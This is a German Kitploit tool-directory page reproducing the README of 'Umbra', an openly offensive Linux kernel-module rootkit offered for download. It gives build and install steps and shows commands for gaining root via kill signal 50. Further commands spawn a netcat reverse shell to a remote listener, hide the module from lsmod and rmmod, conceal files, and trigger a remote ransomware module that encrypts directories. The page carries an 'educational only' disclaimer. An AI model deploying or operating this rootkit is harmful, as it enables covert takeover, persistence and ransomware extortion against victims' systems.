Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/h3xduck/umbra
Privilege EscalationVerschlüsselungs-/EntschlüsselungstoolsPersistenzmechanismenIDS/IPS-UmgehungPost-ExploitationCommand and ControlLernen & BildungPayload-EntwicklungRemote-Access-Trojaner
GitHubh3xduck/umbra

Umbra

Ein LKM-Rootkit, das auf 4.x- und 5.x-Kernelversionen abzielt und eine Hintertür öffnet, die eine Reverse Shell zu einem entfernten Host starten, Malware ausführen und mehr kann.

136274vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

GitHub release (latest by date including pre-releases) Maintainability GitHub code size in bytes GitHub last commit

Umbra

Umbra ist ein experimentelles, fernsteuerbares LKM-Rootkit für Kernel 4.x und 5.x (bis 5.7), das eine Netzwerk-Backdoor öffnet, mit der Reverse Shells zu entfernten Hosts gestartet, Malware aus der Ferne ausgeführt und vieles mehr werden kann.

Das Rootkit befindet sich noch in der Entwicklung, obwohl die unten aufgeführten Funktionen bereits voll funktionsfähig sind.

Backdoor in action

Hinweis: Dieses Rootkit wurde mit Kernel 5.4.0 und Ubuntu 18.04 entwickelt und getestet.

Funktionen

  • 🌟 Backdoor, die nach dem Empfang eines bösartigen TCP-Pakets eine Reverse Shell zu einer entfernten IP startet.
  • 🌟 Verwende den Umbra Injector, um das Rootkit remote zu steuern:
    • Remote-Reverse-Shell.
    • Rootkit aus der Ferne verstecken / wieder sichtbar machen.
    • Umbra-Module starten.
  • NEU: Die Umbra-Module wurden hinzugefügt – spezielle malwareähnliche Module, die Umbra erweitern und vom Umbra Injector aus der Ferne gestartet werden können.
  • NEU: Das Umbra-Modul „Ransom“, das Umbra in eine fernsteuerbare Ransomware verwandelt.

Ransom module in action

  • Umbra verbirgt alle seine Dateien und Verzeichnisse vor Benutzerbefehlen wie ls.
  • Umbra kann sich selbst per Signalen aus der Ferne und lokal verstecken bzw. wieder sichtbar machen.
  • Privilegienerweiterung durch Senden von Signal 50.
  • Startet eine Netcat-Reverse-Shell beim Laden des Moduls.
  • Startet eine Netcat-Reverse-Shell zu einem entfernten Host durch Senden von Signal 51.

Weitere Funktionen werden in späteren Updates folgen.

Haftungsausschluss

Dieses Rootkit dient ausschließlich Bildungszwecken. Ich übernehme keine Verantwortung für Schäden, die durch unbeabsichtigte Verwendung entstehen.

Beachte außerdem, dass Umbra nur leichte Versteck- und Schutzmechanismen enthält. Es ist nicht für den Einsatz in einem realen Szenario gedacht.

WICHTIG: Wenn du dieses Rootkit auf deinem eigenen Rechner testest, empfehle ich dringend, eine VM zu verwenden.

Zu den Umbra-Modulen: Das Ransom-Modul verwendet einen trivialen Verschlüsselungsmechanismus, kann aber definitiv jeden Ordner auf deinem Rechner verschlüsseln. Obwohl Dateien leicht entschlüsselt werden können, empfehle ich auf keinen Fall, dies auf deinem Root-Ordner oder Ähnlichem auszuführen, außer in einer kontrollierten Umgebung.

Inhaltsverzeichnis

  1. Erstellen und Installieren
  2. Entladen von Umbra
  3. Grundlegende Nutzung: Lokale Steuerung
  4. Umbra Injector: Fernsteuerung
  5. Umbra-Module
    • (NEU) Ransom
  6. Referenzen

Erstellen und Installieren

Denke daran, dass du einen 4.x- oder 5.x-Kernel verfügbar haben solltest.

  1. Lade deine Kernel-Header-Dateien herunter
root@kitploit:~
apt install linux-headers-$(uname -r)
  1. Konfiguriere deinen Include-Pfad so, dass er das Kernel-Header-Verzeichnis abdeckt (normalerweise unter /usr/src). Wenn du vscode verwendest, kannst du in .vscode/c_cpp_properties.json ein Beispiel dafür sehen, welche Verzeichnisse aufgenommen werden.

  2. Klone das Projekt

root@kitploit:~
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
  1. Erstelle Umbra
root@kitploit:~
make
  1. Lade Umbra in den Kernel und konfiguriere die Umgebung Das Skript installiert Umbra im Kernel und konfiguriert ein spezielles Verzeichnis, in dem die Malware-Module gespeichert werden. Das Verzeichnis wird später vom Rootkit versteckt.
root@kitploit:~
sudo ./install.sh

Wenn du das Skript bereits ausgeführt hast und Umbra nur im Kernel installieren möchtest, kannst du Folgendes ausführen:

root@kitploit:~
sudo insmod ./umbra.ko

Entladen von Umbra

Stelle sicher, dass sich Umbra nicht im unsichtbaren Modus befindet, da dies sonst fehlschlägt.

root@kitploit:~
sudo rmmod umbra

Grundlegende Nutzung: Lokale Steuerung

Rechte des aktuellen Benutzers auf Root ändern

  • Sende Signal 50 an eine beliebige PID.
root@kitploit:~
kill -50 1

Reverse-Netcat-Shell zu IP:PORT starten

  • Trage deine gewünschte IP und deinen Port vor dem Erstellen des Rootkits in CONFIG.H ein. Standardmäßig 127.0.0.1:5888

  • Beginne auf dem entfernten Host mit dem Lauschen.

root@kitploit:~
nc -lvp 5888
  • Sende Signal 51 an eine beliebige PID. Umbra fängt es ab und startet die Shell.
root@kitploit:~
kill -51 1

Hinweis: Umbra versucht auch beim Laden die Reverse Shell zu starten.

Rootkit verstecken – Unsichtbarer Modus

Dies verhindert, dass das Rootkit von Befehlen wie lsmod angezeigt oder per rmmod entfernt wird.

root@kitploit:~
kill -52 1

Rootkit wieder sichtbar machen

Dies macht den unsichtbaren Modus rückgängig, falls er aktiv ist.

root@kitploit:~
kill -53 1

Umbra Injector: Fernsteuerung

Reverse Shell per Backdoor erhalten

Der Umbra Injector kann entweder ausgeführt werden, bevor Umbra installiert ist (man erhält die Shell dann, sobald es aktiv ist), oder nachdem Umbra auf dem Zielsystem installiert ist.

root@kitploit:~
./injector -S 127.0.0.1

Die Backdoor lauscht auf Pakete mit folgender Nutzlast: UMBRA_PAYLOAD_GET_REVERSE_SHELL.

Du kannst deinen eigenen Injector auch mit meiner Bibliothek RawTCP erstellen.

Rootkit aus der Ferne verstecken – Unsichtbarer Modus

Dies verhindert, dass das Rootkit von Befehlen wie lsmod angezeigt oder per rmmod entfernt wird.

root@kitploit:~
./injector -i 127.0.0.1

Rootkit aus der Ferne wieder sichtbar machen

Dies macht den unsichtbaren Modus rückgängig, falls er aktiv ist.

root@kitploit:~
./injector -u 127.0.0.1

Hilfe

Die vollständigen Informationen zur Verwendung des Umbra Injectors erhältst du mit:

root@kitploit:~
./injector -h

Umbra-Module

Die Umbra-Module werden vom Skript install.sh in /tmp/umbra gespeichert, wo Umbra sie versteckt. Das Verzeichnis wird von Befehlen wie ls oder Ähnlichem nicht angezeigt.

Ransom-Modul

Dieses Modul kann über den Umbra Injector ferngesteuerte, ransomware-artige Angriffe starten. Verschlüsselte Dateien erscheinen mit der Endung .ubr.

Derzeit ist der Verschlüsselungsmechanismus ein einfaches Bit-Level-NOP als Proof of Concept. Du kannst das Modul bearbeiten, um deinen eigenen Verschlüsselungsalgorithmus einzubauen.

Ein Verzeichnis und alle seine Unterverzeichnisse verschlüsseln

root@kitploit:~
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1

Ein Verzeichnis und alle seine Unterverzeichnisse entschlüsseln

root@kitploit:~
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1

Referenzen

Die Entwicklung dieses Rootkits erforderte umfangreiche Recherchen zu LKMs und Rootkit-Techniken. Die folgende Liste ist eine unvollständige Aufstellung der Quellen, die ich verwendet habe: So erstellst du LKMs:

  • https://sysprog21.github.io/lkmpg/

Linux-Syscall-Referenz:

  • https://syscalls64.paolostivanin.com/

Einige Rootkit-Referenzen:

  • https://xcellerator.github.io/posts/
  • https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
  • https://github.com/f0rb1dd3n/Reptile

Lizenz

Dieses Projekt ist unter der GPLv2-Lizenz lizenziert. Siehe LICENSE

Tool herunterladen